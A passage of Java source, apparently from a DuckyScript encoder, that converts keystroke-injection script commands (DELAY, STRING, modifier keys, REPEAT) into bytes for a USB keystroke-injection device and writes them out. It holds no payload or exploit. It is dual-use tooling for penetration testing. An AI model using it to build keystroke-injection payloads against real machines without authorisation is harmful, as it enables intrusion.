instruction[1].trim(); 213 | } 214 | 215 | if (instruction[0].equals("REM")){ 216 | continue; 217 | } 218 | if (instruction[0].equals("REPEAT")){ 219 | loop=Integer.parseInt(instruction[1].trim()); 220 | repeat=true; 221 | }else{ 222 | repeat=false; 223 | loop=1; 224 | } 225 | while(loop>0){ 226 | if (repeat){ 227 | instruction=last_instruction; 228 | //System.out.println(Integer.toString(instruction.length)); 229 | } 230 | if (debug) System.out.println(instruction[0]+" "+instruction[1]); 231 | if (instruction[0].equals("DEFAULT_DELAY") 232 | || instruction[0].equals("DEFAULTDELAY")) { 233 | defaultDelay = Integer.parseInt(instruction[1].trim()); 234 | delayOverride = true; 235 | } else if (instruction[0].equals("DELAY")) { 236 | int delay = Integer.parseInt(instruction[1].trim()); 237 | while (delay > 0) { 238 | file.add((byte) 0x00); 239 | if (delay > 255) { 240 | file.add((byte) 0xFF); 241 | delay = delay - 255; 242 | } else { 243 | file.add((byte) delay); 244 | delay = 0; 245 | } 246 | } 247 | delayOverride = true; 248 | } else if (instruction[0].equals("STRING")) { 249 | for (int j = 0; j < instruction[1].length(); j++) { 250 | char c = instruction[1].charAt(j); 251 | addBytes(file,charToBytes(c)); 252 | } 253 | } else if (instruction[0].equals("CONTROL") 254 | || instruction[0].equals("CTRL")) { 255 | if (instruction.length != 1){ 256 | file.add(strInstrToByte(instruction[1])); 257 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL"))); 258 | } else { 259 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_CTRL"))); 260 | file.add((byte) 0x00); 261 | } 262 | } else if (instruction[0].equals("ALT")) { 263 | if (instruction.length != 1){ 264 | file.add(strInstrToByte(instruction[1])); 265 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_ALT"))); 266 | } else { 267 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_ALT"))); 268 | file.add((byte) 0x00); 269 | } 270 | } else if (instruction[0].equals("SHIFT")) { 271 | if (instruction.length != 1) { 272 | file.add(strInstrToByte(instruction[1])); 273 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT"))); 274 | } else { 275 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_SHIFT"))); 276 | file.add((byte) 0x00); 277 | } 278 | } else if (instruction[0].equals("CTRL-ALT")) { 279 | if (instruction.length != 1) { 280 | file.add(strInstrToByte(instruction[1])); 281 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL")) 282 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_ALT")))); 283 | } else { 284 | continue; 285 | } 286 | } else if (instruction[0].equals("CTRL-SHIFT")) { 287 | if (instruction.length != 1) { 288 | file.add(strInstrToByte(instruction[1])); 289 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL")) 290 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT")))); 291 | } else { 292 | continue; 293 | } 294 | } else if (instruction[0].equals("ALT-SHIFT")) { 295 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_ALT"))); 296 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_ALT")) 297 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT")))); 298 | 299 | } else if (instruction[0].equals("REM")) { 300 | /* no default delay for the comments */ 301 | delayOverride = true; 302 | continue; 303 | } else if (instruction[0].equals("WINDOWS") 304 | || instruction[0].equals("GUI")) { 305 | if (instruction.length == 1) { 306 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 307 | file.add((byte) 0x00); 308 | } else { 309 | file.add(strInstrToByte(instruction[1])); 310 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 311 | } 312 | } else if (instruction[0].equals("COMMAND")){ 313 | if (instruction.length == 1) { 314 | file.add(strToByte(keyboardProps.getProperty("KEY_COMMAND"))); 315 | file.add((byte) 0x00); 316 | } else { 317 | file.add(strInstrToByte(instruction[1])); 318 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 319 | } 320 | }else { 321 | /* treat anything else as a key */ 322 | file.add(strInstrToByte(instruction[0])); 323 | file.add((byte) 0x00); 324 | } 325 | loop--; 326 | } 327 | // Default delay 328 | if (!delayOverride & defaultDelay > 0) { 329 | int delayCounter = defaultDelay; 330 | while (delayCounter > 0) { 331 | file.add((byte) 0x00); 332 | if (delayCounter > 255) { 333 | file.add((byte) 0xFF); 334 | delayCounter = delayCounter - 255; 335 | } else { 336 | file.add((byte) delayCounter); 337 | delayCounter = 0; 338 | } 339 | } 340 | } 341 | }catch (StringIndexOutOfBoundsException e){ 342 | //do nothing 343 | } 344 | catch (Exception e) { 345 | System.out.println("Error on Line: " + (i + 1)); 346 | e.printStackTrace(); 347 | } 348 | } 349 | 350 | // Write byte array to file 351 | byte[] data = new byte[file.size()]; 352 | for (int i = 0; i < file.size(); i++) { 353 | data[i] = file.get(i); 354 | } 355 | try { 356 | File someFile = new File(fileDest); 357 | FileOutputStream fos = new FileOutputStream(someFile); 358 | fos.write(data); 359 | fos.flush(); 360 | fos.close(); 361 | System.out.println("DuckyScript Complete.....\t[ OK ]\n"); 362 | } catch (Exception e) { 363 | System.out.print("Failed to write hex file!"); 364 | } 365 | 366 | } 367 | 368 | private static void addBytes(List file, byte[] byteTab){ 369 | for(int i=0;i